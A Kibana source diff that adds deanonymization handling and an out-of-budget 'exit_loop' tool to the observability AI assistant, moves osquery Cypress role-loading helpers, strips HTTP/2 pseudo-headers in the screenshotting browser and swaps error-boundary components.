createMessage(MessageRole.User, 'user content'); + const assistantMessage = createMessage(MessageRole.Assistant, 'assistant content'); + const originalMessages: Message[] = [userMessage, assistantMessage]; + + it('returns original messages when the source contains no deanonymization events', async () => { + const result = await lastValueFrom(of().pipe(addAnonymizationData(originalMessages))); + + expect(result).toEqual(originalMessages); + }); + + it('adds deanonymizations from deanonymized_input', async () => { + const deanonymizations = [createDeanonymization('user content')]; + + const event: MessageAddEvent = { + type: StreamingChatResponseEventType.MessageAdd, + id: '1', + message: userMessage, + deanonymized_input: [ + { + message: { + role: MessageRole.User, + content: 'user content', + }, + deanonymizations, + }, + ], + }; + + const result = await lastValueFrom(of(event).pipe(addAnonymizationData(originalMessages))); + + expect(result[0].message.deanonymizations).toEqual(deanonymizations); + expect(result[1].message.deanonymizations).toBeUndefined(); + }); + + it('adds deanonymizations from deanonymized_output', async () => { + const deanonymizations = [createDeanonymization('assistant content')]; + + const event: MessageAddEvent = { + type: StreamingChatResponseEventType.MessageAdd, + id: '2', + message: assistantMessage, + deanonymized_output: { + message: { + role: MessageRole.Assistant, + content: 'assistant content', + }, + deanonymizations, + }, + }; + + const result = await lastValueFrom(of(event).pipe(addAnonymizationData(originalMessages))); + + expect(result[1].message.deanonymizations).toEqual(deanonymizations); + expect(result[0].message.deanonymizations).toBeUndefined(); + }); + + it('merges deanonymizations from multiple events and respects emission order (last event wins)', async () => { + const deanonymizationsFirst = [createDeanonymization('first')]; + const deanonymizationsSecond = [createDeanonymization('second')]; + + const firstEvent: MessageAddEvent = { + type: StreamingChatResponseEventType.MessageAdd, + id: '3', + message: userMessage, + deanonymized_input: [ + { + message: { + role: MessageRole.User, + content: 'user content', + }, + deanonymizations: deanonymizationsFirst, + }, + ], + }; + + const secondEvent: MessageAddEvent = { + type: StreamingChatResponseEventType.MessageAdd, + id: '4', + message: userMessage, + deanonymized_input: [ + { + message: { + role: MessageRole.User, + content: 'user content', + }, + deanonymizations: deanonymizationsSecond, + }, + ], + }; + + const result = await lastValueFrom( + of(firstEvent, secondEvent).pipe(addAnonymizationData(originalMessages)) + ); + + // secondEvent should overwrite the first event’s deanonymizations + expect(result[0].message.deanonymizations).toEqual(deanonymizationsSecond); + }); +}); diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/operators/add_anonymization_data.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/operators/add_anonymization_data.ts new file mode 100644 index 0000000000000..8214a20c60ac7 --- /dev/null +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/operators/add_anonymization_data.ts @@ -0,0 +1,75 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { Dictionary, cloneDeep, keyBy } from 'lodash'; +import { OperatorFunction, defaultIfEmpty, filter, map, toArray } from 'rxjs'; +import { + StreamingChatResponseEventType, + type MessageAddEvent, + type StreamingChatResponseEvent, +} from '../../../../common/conversation_complete'; +import type { Message } from '../../../../common/types'; + +/** + * Operator to process events with deanonymization data and format messages with deanonymizations. + * Deanonymizations are matched based on `content`, as the Inference client's anonymization process + * only emits deanonymizations based on `content`. Message ordering is not reliable because not + * every MessageAddEvent is guaranteed to have the same messages as input as the source messages. + * + * @param allMessages The combined messages to use as a fallback if no deanonymization data is found + * @returns An Observable that emits a single array of messages with deanonymization data added + */ +export function addAnonymizationData( + messages: Message[] +): OperatorFunction { + return (source$) => { + // Find the latest event with deanonymization data + return source$.pipe( + filter( + (event): event is MessageAddEvent => + event.type === StreamingChatResponseEventType.MessageAdd && + !!(event.deanonymized_input || event.deanonymized_output) + ), + toArray(), + map((events) => { + const clonedMessages = cloneDeep(messages); + + const messagesByContent: Dictionary = keyBy( + clonedMessages.filter( + (item): item is typeof item & { message: { content: string } } => !!item.message.content + ), + (item) => item.message.content + ); + + for (const event of events) { + event.deanonymized_input?.forEach((item) => { + const matchingMessage = item.message.content + ? messagesByContent[item.message.content] + : undefined; + + if (matchingMessage) { + matchingMessage.message.deanonymizations = item.deanonymizations; + } + }); + + if (event.deanonymized_output?.message.content) { + const matchingMessage = event.deanonymized_output.message.content + ? messagesByContent[event.deanonymized_output.message.content] + : undefined; + + if (matchingMessage) { + matchingMessage.message.deanonymizations = event.deanonymized_output.deanonymizations; + } + } + } + + return clonedMessages; + }), + defaultIfEmpty(messages) + ); + }; +} diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/operators/continue_conversation.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/operators/continue_conversation.ts index 82fab82f660b8..4576fdb29b0d1 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/operators/continue_conversation.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/operators/continue_conversation.ts @@ -7,13 +7,14 @@ import { Logger } from '@kbn/logging'; import { decode, encode } from 'gpt-tokenizer'; -import { last, pick, take } from 'lodash'; +import { last, omit, pick, take } from 'lodash'; import { catchError, concat, EMPTY, from, isObservable, + map, Observable, of, OperatorFunction, @@ -23,7 +24,14 @@ import { } from 'rxjs'; import { withExecuteToolSpan } from '@kbn/inference-tracing'; import { CONTEXT_FUNCTION_NAME } from '../../../functions/context/context'; -import { createFunctionNotFoundError, Message, MessageRole } from '../../../../common'; +import { + CompatibleJSONSchema, + createFunctionNotFoundError, + Message, + MessageAddEvent, + MessageRole, + StreamingChatResponseEventType, +} from '../../../../common'; import { createFunctionLimitExceededError, MessageOrChatEvent, @@ -40,6 +48,8 @@ import { extractMessages } from './extract_messages'; const MAX_FUNCTION_RESPONSE_TOKEN_COUNT = 4000; +const EXIT_LOOP_FUNCTION_NAME = 'exit_loop'; + function executeFunctionAndCatchError({ name, args, @@ -124,17 +134,42 @@ function executeFunctionAndCatchError({ ); } -function getFunctionDefinitions({ +function getFunctionOptions({ functionClient, - functionLimitExceeded, disableFunctions, + functionLimitExceeded, }: { functionClient: ChatFunctionClient; - functionLimitExceeded: boolean; disableFunctions: boolean; -}) { - if (functionLimitExceeded || disableFunctions === true) { - return []; + functionLimitExceeded: boolean; +}): { + functions?: Array<{ name: string; description: string; parameters?: CompatibleJSONSchema }>; + functionCall?: string; +} { + if (disableFunctions === true) { + return {}; + } + + if (functionLimitExceeded) { + return { + functionCall: EXIT_LOOP_FUNCTION_NAME, + functions: [ + { + name: EXIT_LOOP_FUNCTION_NAME, + description: `You've run out of tool calls. Call this tool, and explain to the user you've run out of budget.`, + parameters: { + type: 'object', + properties: { + response: { + type: 'string', + description: 'Your textual response', + }, + }, + required: ['response'], + }, + }, + ], + }; } const systemFunctions = functionClient @@ -148,7 +183,7 @@ function getFunctionDefinitions({ .concat(actions) .map((definition) => pick(definition, 'name', 'description', 'parameters')); - return allDefinitions; + return { functions: allDefinitions }; } export function continueConversation({ @@ -180,13 +215,14 @@ export function continueConversation({ const functionLimitExceeded = functionCallsLeft <= 0; - const functionDefinitions = getFunctionDefinitions({ - functionLimitExceeded, + const functionOptions = getFunctionOptions({ functionClient, disableFunctions, + functionLimitExceeded, }); const lastMessage = last(initialMessages)?.message; + const isUserMessage = lastMessage?.role === MessageRole.User; return executeNextStep().pipe(handleEvents()); @@ -200,9 +236,9 @@ export function continueConversation({ return chat(operationName, { messages: initialMessages, - functions: functionDefinitions, connectorId, stream: true, + ...functionOptions, }).pipe(emitWithConcatenatedMessage(), catchFunctionNotFoundError(functionLimitExceeded)); } @@ -283,7 +319,32 @@ export function continueConversation({ function handleEvents(): OperatorFunction { return (events$) => { - const shared$ = events$.pipe(shareReplay()); + const shared$ = events$.pipe( + shareReplay(), + map((event) => { + if (event.type === StreamingChatResponseEventType.MessageAdd) { + const message = event.message; + + if (message.message.function_call?.name === EXIT_LOOP_FUNCTION_NAME) { + const args = JSON.parse(message.message.function_call.arguments ?? '{}') as { + response: string; + }; + + return { + ...event, + message: { + ...message, + message: { + ...omit(message.message, 'function_call', 'content'), + content: args.response ?? `The model returned an empty response`, + }, + }, + } satisfies MessageAddEvent; + } + } + return event; + }) + ); return concat( shared$, diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/operators/convert_inference_events_to_streaming_events.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/operators/convert_inference_events_to_streaming_events.ts index 6b894776f2326..321d6c29d80aa 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/operators/convert_inference_events_to_streaming_events.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/operators/convert_inference_events_to_streaming_events.ts @@ -41,6 +41,8 @@ export function convertInferenceEventsToStreamingEvents(): OperatorFunction< } : undefined, }, + ...(event.deanonymized_input && { deanonymized_input: event.deanonymized_input }), + ...(event.deanonymized_output && { deanonymized_output: event.deanonymized_output }), } as ChatCompletionChunkEvent; case InferenceChatCompletionEventType.ChatCompletionMessage: // Convert to ChatCompletionMessageEvent @@ -57,6 +59,8 @@ export function convertInferenceEventsToStreamingEvents(): OperatorFunction< } : undefined, }, + ...(event.deanonymized_input && { deanonymized_input: event.deanonymized_input }), + ...(event.deanonymized_output && { deanonymized_output: event.deanonymized_output }), } as ChatCompletionMessageEvent; default: diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/index.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/index.ts index 702292860a7be..b50f16fdbeb78 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/index.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/index.ts @@ -18,9 +18,6 @@ import { KnowledgeBaseService } from './knowledge_base_service'; import type { RegistrationCallback, RespondFunctionResources } from './types'; import { ObservabilityAIAssistantConfig } from '../config'; import { createOrUpdateConversationIndexAssets } from './index_assets/create_or_update_conversation_index_assets'; -import { AnonymizationService } from './anonymization'; -import { aiAssistantAnonymizationRules } from '../../common'; -import type { AnonymizationRule } from '../../common/types'; export function getResourceName(resource: string) { return `.kibana-observability-ai-assistant-${resource}`; @@ -98,14 +95,6 @@ export class ObservabilityAIAssistantService { const soClient = coreStart.savedObjects.getScopedClient(request); const uiSettingsClient = coreStart.uiSettings.asScopedToClient(soClient); - // Read anonymization rules from advanced settings - let anonymizationRules: AnonymizationRule[] = []; - try { - const advSettingsRules = await uiSettingsClient.get(aiAssistantAnonymizationRules); - anonymizationRules = JSON.parse(advSettingsRules ?? '[]'); - } catch { - anonymizationRules = []; - } const basePath = coreStart.http.basePath.get(request); const { spaceId } = getSpaceIdFromPath(basePath, coreStart.http.basePath.serverBasePath); @@ -122,13 +111,6 @@ export class ObservabilityAIAssistantService { asInternalUser, }, }); - const anonymizationService = new AnonymizationService({ - logger: this.logger.get('anonymization'), - esClient: { - asCurrentUser, - }, - anonymizationRules, - }); return new ObservabilityAIAssistantClient({ core: this.core, @@ -140,7 +122,6 @@ export class ObservabilityAIAssistantService { asInternalUser, asCurrentUser, }, - anonymizationService, inferenceClient, logger: this.logger, user: user diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/index_assets/templates/conversation_component_template.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/index_assets/templates/conversation_component_template.ts index e43d08f9b926e..91aff09927478 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/index_assets/templates/conversation_component_template.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/index_assets/templates/conversation_component_template.ts @@ -83,7 +83,7 @@ export const conversationComponentTemplate: ClusterComponentTemplate['component_ trigger: keyword, }, }, - unredactions: { + deanonymizations: { type: 'object', enabled: false, }, diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/util/get_system_message_from_instructions.test.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/util/get_system_message_from_instructions.test.ts index fe7b85596b489..021bc95ee9e19 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/util/get_system_message_from_instructions.test.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/util/get_system_message_from_instructions.test.ts @@ -17,7 +17,6 @@ describe('getSystemMessageFromInstructions', () => { kbUserInstructions: [], apiUserInstructions: [], availableFunctionNames: [], - anonymizationInstruction: '', }) ).toEqual(`first\n\nsecond`); }); @@ -34,7 +33,6 @@ describe('getSystemMessageFromInstructions', () => { kbUserInstructions: [], apiUserInstructions: [], availableFunctionNames: ['myFunction'], - anonymizationInstruction: '', }) ).toEqual(`first\n\nmyFunction`); }); @@ -51,7 +49,6 @@ describe('getSystemMessageFromInstructions', () => { }, ], availableFunctionNames: [], - anonymizationInstruction: '', }) ).toEqual(`first\n\n${USER_INSTRUCTIONS_HEADER}\n\nsecond from adhoc instruction`); }); @@ -63,7 +60,6 @@ describe('getSystemMessageFromInstructions', () => { kbUserInstructions: [{ id: 'second', text: 'second_kb' }], apiUserInstructions: [], availableFunctionNames: [], - anonymizationInstruction: '', }) ).toEqual(`first\n\n${USER_INSTRUCTIONS_HEADER}\n\nsecond_kb`); }); @@ -80,7 +76,6 @@ describe('getSystemMessageFromInstructions', () => { kbUserInstructions: [], apiUserInstructions: [], availableFunctionNames: [], - anonymizationInstruction: '', }) ).toEqual(`first`); }); diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/util/get_system_message_from_instructions.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/util/get_system_message_from_instructions.ts index 1661a4c110dd8..716355a112c53 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/util/get_system_message_from_instructions.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/util/get_system_message_from_instructions.ts @@ -27,14 +27,11 @@ export function getSystemMessageFromInstructions({ // instructions provided by the user via the API. These will be displayed after the application instructions and only if they fit within the token budget apiUserInstructions, availableFunctionNames, - // instructions for anonymization - anonymizationInstruction, }: { applicationInstructions: InstructionOrCallback[]; kbUserInstructions: Instruction[]; apiUserInstructions: Instruction[]; availableFunctionNames: string[]; - anonymizationInstruction: string; }): string { const allApplicationInstructions = compact( applicationInstructions.flatMap((instruction) => { @@ -58,10 +55,8 @@ export function getSystemMessageFromInstructions({ // user instructions ...(allUserInstructions.length ? [USER_INSTRUCTIONS_HEADER, ...allUserInstructions] : []), - - // anonymization instructions - ...(anonymizationInstruction ? [anonymizationInstruction] : []), ] + .map((instruction) => { return typeof instruction === 'string' ? instruction : instruction.text; }) diff --git a/x-pack/platform/plugins/shared/osquery/cypress/cypress_base.config.ts b/x-pack/platform/plugins/shared/osquery/cypress/cypress_base.config.ts index 966b8beaeacca..ae9791c95ed6e 100644 --- a/x-pack/platform/plugins/shared/osquery/cypress/cypress_base.config.ts +++ b/x-pack/platform/plugins/shared/osquery/cypress/cypress_base.config.ts @@ -9,8 +9,8 @@ import { merge } from 'lodash'; import path from 'path'; import { load as loadYaml } from 'js-yaml'; import { readFileSync } from 'fs'; -import type { YamlRoleDefinitions } from '@kbn/test-suites-serverless/shared/lib'; import { samlAuthentication } from '@kbn/cypress-test-helper/src/auth/saml_auth'; +import type { YamlRoleDefinitions } from './lib'; import { setupUserDataLoader } from './support/setup_data_loader_tasks'; import { getFailedSpecVideos } from './support/filter_videos'; diff --git a/x-pack/test_serverless/shared/lib/security/default_http_headers.ts b/x-pack/platform/plugins/shared/osquery/cypress/lib/default_http_headers.ts similarity index 100% rename from x-pack/test_serverless/shared/lib/security/default_http_headers.ts rename to x-pack/platform/plugins/shared/osquery/cypress/lib/default_http_headers.ts diff --git a/x-pack/test_serverless/shared/lib/security/index.ts b/x-pack/platform/plugins/shared/osquery/cypress/lib/index.ts similarity index 100% rename from x-pack/test_serverless/shared/lib/security/index.ts rename to x-pack/platform/plugins/shared/osquery/cypress/lib/index.ts diff --git a/x-pack/test_serverless/shared/lib/security/kibana_roles/index.ts b/x-pack/platform/plugins/shared/osquery/cypress/lib/kibana_roles/index.ts similarity index 100% rename from x-pack/test_serverless/shared/lib/security/kibana_roles/index.ts rename to x-pack/platform/plugins/shared/osquery/cypress/lib/kibana_roles/index.ts diff --git a/x-pack/test_serverless/shared/lib/security/kibana_roles/kibana_roles.ts b/x-pack/platform/plugins/shared/osquery/cypress/lib/kibana_roles/kibana_roles.ts similarity index 96% rename from x-pack/test_serverless/shared/lib/security/kibana_roles/kibana_roles.ts rename to x-pack/platform/plugins/shared/osquery/cypress/lib/kibana_roles/kibana_roles.ts index 47969d1643eff..2711f2aa8bcf5 100644 --- a/x-pack/test_serverless/shared/lib/security/kibana_roles/kibana_roles.ts +++ b/x-pack/platform/plugins/shared/osquery/cypress/lib/kibana_roles/kibana_roles.ts @@ -9,7 +9,7 @@ import { load as loadYaml } from 'js-yaml'; import { readFileSync } from 'fs'; import * as path from 'path'; import { cloneDeep, merge } from 'lodash'; -import { FeaturesPrivileges, Role, RoleIndexPrivilege } from '@kbn/security-plugin/common'; +import type { FeaturesPrivileges, Role, RoleIndexPrivilege } from '@kbn/security-plugin/common'; import { ServerlessRoleName } from '../types'; const ROLES_YAML_FILE_PATH = path.join(__dirname, 'project_controller_security_roles.yml'); @@ -49,6 +49,7 @@ export const getServerlessSecurityKibanaRoleDefinitions = ( `Un-expected role [${roleName}] found in YAML file [${ROLES_YAML_FILE_PATH}]` ); } + const mapApplicationToKibanaFeaturePrivileges = ( application: IApplication ): FeaturesPrivileges => { diff --git a/x-pack/test_serverless/shared/lib/security/kibana_roles/project_controller_security_roles.yml b/x-pack/platform/plugins/shared/osquery/cypress/lib/kibana_roles/project_controller_security_roles.yml similarity index 100% rename from x-pack/test_serverless/shared/lib/security/kibana_roles/project_controller_security_roles.yml rename to x-pack/platform/plugins/shared/osquery/cypress/lib/kibana_roles/project_controller_security_roles.yml diff --git a/x-pack/test_serverless/shared/lib/security/kibana_roles/role_loader.ts b/x-pack/platform/plugins/shared/osquery/cypress/lib/kibana_roles/role_loader.ts similarity index 90% rename from x-pack/test_serverless/shared/lib/security/kibana_roles/role_loader.ts rename to x-pack/platform/plugins/shared/osquery/cypress/lib/kibana_roles/role_loader.ts index 806d6244fe90a..4ad93711a1ac9 100644 --- a/x-pack/test_serverless/shared/lib/security/kibana_roles/role_loader.ts +++ b/x-pack/platform/plugins/shared/osquery/cypress/lib/kibana_roles/role_loader.ts @@ -7,16 +7,13 @@ /* eslint-disable max-classes-per-file */ -import { KbnClient } from '@kbn/test'; -import { Role } from '@kbn/security-plugin/common'; -import { ToolingLog } from '@kbn/tooling-log'; +import type { KbnClient } from '@kbn/test'; +import type { Role } from '@kbn/security-plugin/common'; +import type { ToolingLog } from '@kbn/tooling-log'; import { inspect } from 'util'; -import { AxiosError } from 'axios'; -import { - getServerlessSecurityKibanaRoleDefinitions, - ServerlessSecurityRoles, - YamlRoleDefinitions, -} from './kibana_roles'; +import type { AxiosError } from 'axios'; +import type { ServerlessSecurityRoles, YamlRoleDefinitions } from './kibana_roles'; +import { getServerlessSecurityKibanaRoleDefinitions } from './kibana_roles'; import { STANDARD_HTTP_HEADERS } from '../default_http_headers'; const ignoreHttp409Error = (error: AxiosError) => { @@ -55,11 +52,13 @@ export class RoleAndUserLoader = Record = Record { this.logger.info(`Role [${roleName}] created/updated`, response?.data); + return response; }); } @@ -120,6 +120,7 @@ export class RoleAndUserLoader = Record { this.logger.info(`User [${username}] created/updated`, response?.data); + return response; }); } diff --git a/x-pack/test_serverless/shared/lib/security/types.ts b/x-pack/platform/plugins/shared/osquery/cypress/lib/types.ts similarity index 100% rename from x-pack/test_serverless/shared/lib/security/types.ts rename to x-pack/platform/plugins/shared/osquery/cypress/lib/types.ts diff --git a/x-pack/platform/plugins/shared/osquery/cypress/support/e2e.ts b/x-pack/platform/plugins/shared/osquery/cypress/support/e2e.ts index 1b6f7f5393ddd..1fa57eab58e68 100644 --- a/x-pack/platform/plugins/shared/osquery/cypress/support/e2e.ts +++ b/x-pack/platform/plugins/shared/osquery/cypress/support/e2e.ts @@ -34,7 +34,7 @@ registerCypressGrep(); import type { SecuritySolutionDescribeBlockFtrConfig } from '@kbn/cypress-test-helper/src/utils'; import { login } from '@kbn/cypress-test-helper/src/auth/login'; -import type { LoadedRoleAndUser } from '@kbn/test-suites-serverless/shared/lib'; +import type { LoadedRoleAndUser } from '../lib'; import type { ServerlessRoleName } from './roles'; import { waitUntil } from '../tasks/wait_until'; diff --git a/x-pack/platform/plugins/shared/osquery/cypress/support/roles.ts b/x-pack/platform/plugins/shared/osquery/cypress/support/roles.ts index b4df2ed6fafd3..e630430aad162 100644 --- a/x-pack/platform/plugins/shared/osquery/cypress/support/roles.ts +++ b/x-pack/platform/plugins/shared/osquery/cypress/support/roles.ts @@ -5,4 +5,4 @@ * 2.0. */ -export { ServerlessRoleName } from '@kbn/test-suites-serverless/shared/lib/security/types'; +export { ServerlessRoleName } from '../lib/types'; diff --git a/x-pack/platform/plugins/shared/osquery/cypress/support/setup_data_loader_tasks.ts b/x-pack/platform/plugins/shared/osquery/cypress/support/setup_data_loader_tasks.ts index 4d93175860e7a..d37f4fe46ea02 100644 --- a/x-pack/platform/plugins/shared/osquery/cypress/support/setup_data_loader_tasks.ts +++ b/x-pack/platform/plugins/shared/osquery/cypress/support/setup_data_loader_tasks.ts @@ -6,11 +6,8 @@ */ import { createRuntimeServices } from '@kbn/cypress-test-helper/src/services/stack_services'; -import { SecurityRoleAndUserLoader } from '@kbn/test-suites-serverless/shared/lib'; -import type { - LoadedRoleAndUser, - YamlRoleDefinitions, -} from '@kbn/test-suites-serverless/shared/lib'; +import { SecurityRoleAndUserLoader } from '../lib'; +import type { LoadedRoleAndUser, YamlRoleDefinitions } from '../lib'; import type { LoadUserAndRoleCyTaskOptions } from './e2e'; interface AdditionalDefinitions { diff --git a/x-pack/platform/plugins/shared/osquery/cypress/tsconfig.json b/x-pack/platform/plugins/shared/osquery/cypress/tsconfig.json index 4b1e6757ee87d..fddbb2ab1480f 100644 --- a/x-pack/platform/plugins/shared/osquery/cypress/tsconfig.json +++ b/x-pack/platform/plugins/shared/osquery/cypress/tsconfig.json @@ -5,11 +5,9 @@ "./cypress.config.ts", "./serverless_cypress.config.ts", "./serverless_cypress_qa.config.ts", - "../../../../../test_serverless/shared/lib", ], "exclude": [ "target/**/*", - "../../../../../test_serverless/shared/lib/security/default_http_headers.ts" ], "compilerOptions": { "outDir": "target/types", @@ -20,10 +18,6 @@ "resolveJsonModule": true, }, "kbn_references": [ - "@kbn/test-suites-serverless", - { - "path": "../../../../../test/security_solution_cypress/cypress/tsconfig.json" - }, "@kbn/cypress-config", // cypress projects that are nested inside of other ts project use code // from the parent ts project in ways that can't be automatically deteceted @@ -35,5 +29,8 @@ "@kbn/fleet-plugin", "@kbn/cases-plugin", "@kbn/cypress-test-helper", + "@kbn/security-plugin", + "@kbn/test", + "@kbn/tooling-log", ] } diff --git a/x-pack/platform/plugins/shared/rule_registry/server/alert_data_client/alerts_client.ts b/x-pack/platform/plugins/shared/rule_registry/server/alert_data_client/alerts_client.ts index bb514672d1153..0b790424e65f6 100644 --- a/x-pack/platform/plugins/shared/rule_registry/server/alert_data_client/alerts_client.ts +++ b/x-pack/platform/plugins/shared/rule_registry/server/alert_data_client/alerts_client.ts @@ -43,13 +43,12 @@ import { } from '@kbn/alerting-plugin/server'; import type { Logger, ElasticsearchClient, EcsEvent } from '@kbn/core/server'; import type { AuditLogger } from '@kbn/security-plugin/server'; -import type { FieldDescriptor } from '@kbn/data-plugin/server'; import { IndexPatternsFetcher } from '@kbn/data-plugin/server'; import { isEmpty } from 'lodash'; import type { RuleTypeRegistry } from '@kbn/alerting-plugin/server/types'; import type { TypeOf } from 'io-ts'; import { alertAuditEvent, operationAlertAuditActionMap } from '@kbn/alerting-plugin/server/lib'; -import type { BrowserFields } from '../../common'; +import type { GetBrowserFieldsResponse } from '@kbn/alerting-types'; import { ALERT_WORKFLOW_STATUS, ALERT_RULE_CONSUMER, @@ -1213,7 +1212,7 @@ export class AlertsClient { allowNoIndex: boolean; includeEmptyFields: boolean; indexFilter?: estypes.QueryDslQueryContainer; - }): Promise<{ browserFields: BrowserFields; fields: FieldDescriptor[] }> { + }): Promise { const indexPatternsFetcherAsInternalUser = new IndexPatternsFetcher(this.esClient); const { fields } = await indexPatternsFetcherAsInternalUser.getFieldsForWildcard({ diff --git a/x-pack/platform/plugins/shared/screenshotting/server/browsers/chromium/strip_unsafe_headers.test.ts b/x-pack/platform/plugins/shared/screenshotting/server/browsers/chromium/strip_unsafe_headers.test.ts index 38feae0b2c026..c6ea6e1ddcb07 100644 --- a/x-pack/platform/plugins/shared/screenshotting/server/browsers/chromium/strip_unsafe_headers.test.ts +++ b/x-pack/platform/plugins/shared/screenshotting/server/browsers/chromium/strip_unsafe_headers.test.ts @@ -19,6 +19,7 @@ describe('stripUnsafeHeaders', () => { ${'proxy-connection'} | ${'bananas'} ${'proxy-authorization'} | ${'some-base64-encoded-thing'} ${'trailer'} | ${'s are for trucks'} + ${':method'} | ${'POST'} `('should strip unsafe header "$header"', ({ header, value }) => { const headers = { [header]: value }; @@ -26,9 +27,10 @@ describe('stripUnsafeHeaders', () => { }); it.each` - header | value - ${'foo'} | ${'bar'} - ${'baz'} | ${'quix'} + header | value + ${'foo'} | ${'bar'} + ${'baz'} | ${'quix'} + ${'method:method'} | ${'POST'} `('should keep safe header "$header"', ({ header, value }) => { const headers = { [header]: value }; diff --git a/x-pack/platform/plugins/shared/screenshotting/server/browsers/chromium/strip_unsafe_headers.ts b/x-pack/platform/plugins/shared/screenshotting/server/browsers/chromium/strip_unsafe_headers.ts index e718570b9b2e2..0042450df540f 100644 --- a/x-pack/platform/plugins/shared/screenshotting/server/browsers/chromium/strip_unsafe_headers.ts +++ b/x-pack/platform/plugins/shared/screenshotting/server/browsers/chromium/strip_unsafe_headers.ts @@ -27,7 +27,7 @@ const UNSAFE_HEADERS = [ 'keep-alive', ]; -const UNSAFE_HEADERS_PATTERNS = [/^proxy-/i]; +const UNSAFE_HEADERS_PATTERNS = [/^proxy-/i, /^:/]; export function stripUnsafeHeaders(headers: Headers): Headers { return omitBy( diff --git a/x-pack/platform/plugins/shared/security/public/authentication/login/__snapshots__/login_page.test.tsx.snap b/x-pack/platform/plugins/shared/security/public/authentication/login/__snapshots__/login_page.test.tsx.snap index a3c1d96b794ed..b98b2183b9d08 100644 --- a/x-pack/platform/plugins/shared/security/public/authentication/login/__snapshots__/login_page.test.tsx.snap +++ b/x-pack/platform/plugins/shared/security/public/authentication/login/__snapshots__/login_page.test.tsx.snap @@ -295,7 +295,7 @@ exports[`LoginPage enabled form state renders as expected when loginHelp is set exports[`LoginPage page renders as expected 1`] = `
    ); }; diff --git a/x-pack/solutions/observability/plugins/infra/public/pages/metrics/index.tsx b/x-pack/solutions/observability/plugins/infra/public/pages/metrics/index.tsx index 80f7e35297ccb..e6b8d7c83c53d 100644 --- a/x-pack/solutions/observability/plugins/infra/public/pages/metrics/index.tsx +++ b/x-pack/solutions/observability/plugins/infra/public/pages/metrics/index.tsx @@ -10,19 +10,14 @@ import { i18n } from '@kbn/i18n'; import React, { useContext } from 'react'; import { Routes, Route } from '@kbn/shared-ux-router'; -import { - EuiErrorBoundary, - EuiHeaderLinks, - EuiHeaderLink, - EuiFlexGroup, - EuiFlexItem, -} from '@elastic/eui'; +import { EuiHeaderLinks, EuiHeaderLink, EuiFlexGroup, EuiFlexItem } from '@elastic/eui'; import { useKibana } from '@kbn/kibana-react-plugin/public'; import { HeaderMenuPortal, useLinkProps } from '@kbn/observability-shared-plugin/public'; import type { SharePublicStart } from '@kbn/share-plugin/public/plugin'; import type { ObservabilityOnboardingLocatorParams } from '@kbn/deeplinks-observability'; import { OBSERVABILITY_ONBOARDING_LOCATOR } from '@kbn/deeplinks-observability'; import { dynamic } from '@kbn/shared-ux-utility'; +import { KibanaErrorBoundary } from '@kbn/shared-ux-error-boundary'; import { HelpCenterContent } from '../../components/help_center_content'; import { useReadOnlyBadge } from '../../hooks/use_readonly_badge'; import { MetricsSettingsPage } from './settings'; @@ -72,7 +67,7 @@ export const InfrastructurePage = () => { }); return ( - + @@ -145,7 +140,7 @@ export const InfrastructurePage = () => { - + ); }; diff --git a/x-pack/solutions/observability/plugins/infra/public/pages/metrics/inventory_view/index.tsx b/x-pack/solutions/observability/plugins/infra/public/pages/metrics/inventory_view/index.tsx index b3d82e0c8fc22..df97561f6a70d 100644 --- a/x-pack/solutions/observability/plugins/infra/public/pages/metrics/inventory_view/index.tsx +++ b/x-pack/solutions/observability/plugins/infra/public/pages/metrics/inventory_view/index.tsx @@ -5,7 +5,6 @@ * 2.0. */ -import { EuiErrorBoundary } from '@elastic/eui'; import React from 'react'; import { useTrackPageview } from '@kbn/observability-shared-plugin/public'; import { APP_WRAPPER_CLASS } from '@kbn/core/public'; @@ -33,32 +32,30 @@ export const SnapshotPage = () => { ]); return ( - - - - -
    - , ], - }} - pageSectionProps={{ - contentProps: { - css: css` - ${fullHeightContentStyles}; - padding-bottom: 0; - `, - }, - }} - > - - -
    -
    -
    -
    -
    + + + +
    + , ], + }} + pageSectionProps={{ + contentProps: { + css: css` + ${fullHeightContentStyles}; + padding-bottom: 0; + `, + }, + }} + > + + +
    +
    +
    +
